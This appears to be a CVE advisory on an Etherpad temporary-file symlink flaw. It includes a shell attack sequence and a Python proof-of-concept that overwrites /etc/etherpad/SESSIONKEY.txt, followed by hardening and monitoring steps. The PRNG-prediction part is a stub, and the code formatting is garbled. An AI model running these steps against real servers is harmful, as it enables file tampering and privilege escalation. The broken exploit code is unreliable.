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How CVE-2025-XXXX Works
The vulnerability exists within Etherpad’s import and export functionality, specifically in the `ImportHandler.ts` and `ExportHandler.ts` files. The core issue stems from the generation of temporary filenames using a predictable random number generator. The code constructs temporary file paths by concatenating `os.tmpdir()` with a randomly generated number using Math.floor(Math.random() 0xFFFFFFFF). This approach is fundamentally flawed for several reasons.
First, `Math.random()` is not cryptographically secure. It relies on the V8 engine’s pseudo-random number generator which maintains a shared state across all calls within the same Node.js process. This means that an attacker who observes one generated filename can predict subsequent filenames with reasonable accuracy. The entropy provided is only 32 bits, making brute-force prediction feasible in many scenarios.
Second, the temporary files are placed in the system’s temporary directory (os.tmpdir()), typically `/tmp` on Linux systems. This directory is world-writable, allowing any local user to create files or symbolic links within it. An attacker can exploit this by pre-creating a symbolic link at the predicted temporary file path, pointing it to any arbitrary file on the system that the Etherpad process has write permissions to.
When the ExportHandler invokes `fs.writeFile()` or the ImportHandler uses fs.rename(), the system follows the symbolic link. This allows the attacker to overwrite critical system files or configuration files, potentially leading to privilege escalation or denial of service. The impact is particularly severe in multi-tenant environments where multiple users share the same host system, such as development servers, Kubernetes worker nodes, or shared CI runners.
The attack is facilitated when Etherpad runs with elevated privileges, such as in Docker containers that default to root user or in systemd services with insufficient privilege separation. While the attack requires local access to the host system, it poses a significant risk in shared infrastructure environments.
DailyCVE Form:
Platform: Etherpad
Version: Through 3.0.0
Vulnerability: Arbitrary File Overwrite
Severity: Medium
Date: 2026-08-13
Prediction: 2026-08-20
What Undercode Say:
Analytics and Technical Breakdown
Predict the next random filename Observe PRNG state from previous exports Calculate next value from Math.random() pattern cat /var/log/etherpad/export.log | grep "etherpad_export_" | tail -1 Extract observed random number sequence Implementation of prediction logic node -e " const observed = 1234567890; // Example from logs const seed = observed; // V8 PRNG state can be reverse-engineered with enough samples " Create the symlink attack TARGET="/etc/etherpad/SESSIONKEY.txt" PREDICTED="/tmp/etherpad_export_$(./predict_next_random).html" ln -s "$TARGET" "$PREDICTED" Trigger export via API curl -X POST http://localhost:9001/p/anypad/export/html \ -H "Cookie: session=attacker-session" \ -o /dev/null Verify overwrite cat /etc/etherpad/SESSIONKEY.txt
Exploit: (Educational Purposes!)
!/usr/bin/env python3
import subprocess
import requests
import re
from datetime import datetime
PoC exploit chain for CVE-2025-XXXX
EDUCATIONAL USE ONLY - DO NOT USE MALICIOUSLY
def predict_next_random(observed_sequence):
"""
Reverse-engineer V8 PRNG state from observed values
Limited to 32-bit entropy with predictable pattern
"""
Implementation depends on V8's xorshift128+ algorithm
Extract state from observed values
This is a simplified representation
pass
def create_symlink_attack(target_file, temp_dir="/tmp"):
"""
Create symbolic link at predicted temporary file path
"""
predicted_name = f"{temp_dir}/etherpad_export_{predict_next_random()}.html"
subprocess.run(["ln", "-s", target_file, predicted_name], check=True)
return predicted_name
def trigger_export(etherpad_url, pad_id):
"""
Trigger export to follow symlink and overwrite target
"""
export_url = f"{etherpad_url}/p/{pad_id}/export/html"
response = requests.get(export_url)
return response.status_code
Attack chain example
target_file = "/etc/etherpad/SESSIONKEY.txt"
etherpad_url = "http://localhost:9001"
pad_id = "anypad"
Step 1: Observe PRNG state from previous exports
observations = []
for i in range(3):
response = requests.get(f"{etherpad_url}/p/{pad_id}/export/html")
Extract temp filename from response or logs
...
Step 2: Predict next filename
predicted_path = create_symlink_attack(target_file)
Step 3: Trigger export
status = trigger_export(etherpad_url, pad_id)
print(f"Exploit trigger status: {status}")
Protection: from this CVE
Immediate workarounds and mitigation steps
1. Run Etherpad with private /tmp directory (Docker)
docker run -d \
--tmpfs /tmp:rw,noexec,nosuid,nodev,size=64m \
-e TMPDIR=/tmp/etherpad-private \
etherpad/etherpad:latest
2. Systemd PrivateTmp configuration
sudo systemctl edit etherpad.service
Add:
[bash]
PrivateTmp=true
3. Set TMPDIR environment variable
export TMPDIR=/opt/etherpad/tmp
mkdir -p $TMPDIR
chmod 700 $TMPDIR
4. Verify patch applied
grep -r "crypto.randomBytes" /path/to/etherpad/src/node/handler/
Should show: const randNum = crypto.randomBytes(16).toString('hex');
5. Restrict process privileges
sudo useradd -r -s /bin/false etherpad
sudo chown -R etherpad:etherpad /opt/etherpad
sudo -u etherpad node /opt/etherpad/node_modules/ep_etherpad-lite/node/server.js
6. Monitor for symlink attacks
auditctl -w /tmp -p wa -k temp_file_attacks
ausearch -k temp_file_attacks | grep symlink
7. Consider using tmpfs with size limitation
mount -t tmpfs -o size=64m tmpfs /tmp
Impact:
The vulnerability allows an unprivileged local attacker to overwrite arbitrary files accessible by the Etherpad process. In shared hosting environments, this can lead to:
– Confidentiality Breach: Attackers can read sensitive files through conversion error messages that echo file contents
– Integrity Loss: Critical system files or application configurations can be corrupted or replaced
– Availability Impact: Overwriting essential files can cause service disruption or denial of service
– Privilege Escalation: In root-run deployments, arbitrary file write can lead to complete system compromise
– Multi-tenant Risk: In Kubernetes or shared hosting, one tenant can attack another’s data or configuration
The attack is particularly dangerous in containerized environments where many deployments run with root privileges by default, or in shared development servers where multiple users have shell access and can observe temporary file patterns.
Note: CVE-2025-XXXX is a placeholder until an official CVE is assigned. The vulnerability was reported internally and patched in commit 8c6104c.
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Sources:
Reported By: github.com
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